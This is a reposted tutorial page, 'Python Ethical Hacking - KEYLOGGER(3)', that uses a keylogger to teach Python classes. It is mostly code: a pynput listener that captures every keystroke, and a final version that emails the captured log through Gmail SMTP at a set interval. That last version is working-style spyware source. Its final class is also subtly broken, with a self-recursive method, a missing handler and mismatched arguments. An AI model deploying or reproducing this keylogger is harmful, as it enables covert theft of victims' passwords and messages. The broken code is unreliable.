Python Ethical Hacking - KEYLOGGER(3)

发布时间：2020-12-20 10:24:23 所属栏目：Python 来源：网络整理

导读：Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to m

Object-Oriented Programming

Keylogger Classes

Way of modeling program(blueprint).
Logically group functions and data.
- Makes code more readable.
- More reusable.
- Separate implementation from usage(encapsulation).
- Easier to extend.
- Easier to maintain.

The Keylogger Class:

#!/usr/bin/env python
import threading

import pynput.keyboard

log = ""


class Keylogger:
    def process_key_press(self,key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "

    def report(self):
        global log
        print(log)
        log = ""
        timer = threading.Timer(10,self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The main Python program calling the Keylogger Class:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger()
my_keylogger.start()

?Constructor Method & Instance Variables:

AKA initialization method.
Gets executed automatically when a class is created.

#!/usr/bin/env python
import threading

import pynput.keyboard


class Keylogger:
    def __init__(self):
        self.log = ""

    def append_to_log(self,string):
        self.log = self.log + string

    def process_key_press(self,key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.log = ""
        timer = threading.Timer(10,self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Polish the Python Class Code once more to log Key-strikes and report them by email.

#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard


class Keylogger:
    def __init__(self,time_interval,email,password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self,key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.send_mail(self.email,self.password,"nn" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval,self.report)
        timer.start()

    def send_mail(self,password,message):
        server = smtplib.SMTP("smtp.gmail.com",587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Main program:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120,"[email?protected]","12345678")
my_keylogger.start()

（编辑：李大同）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!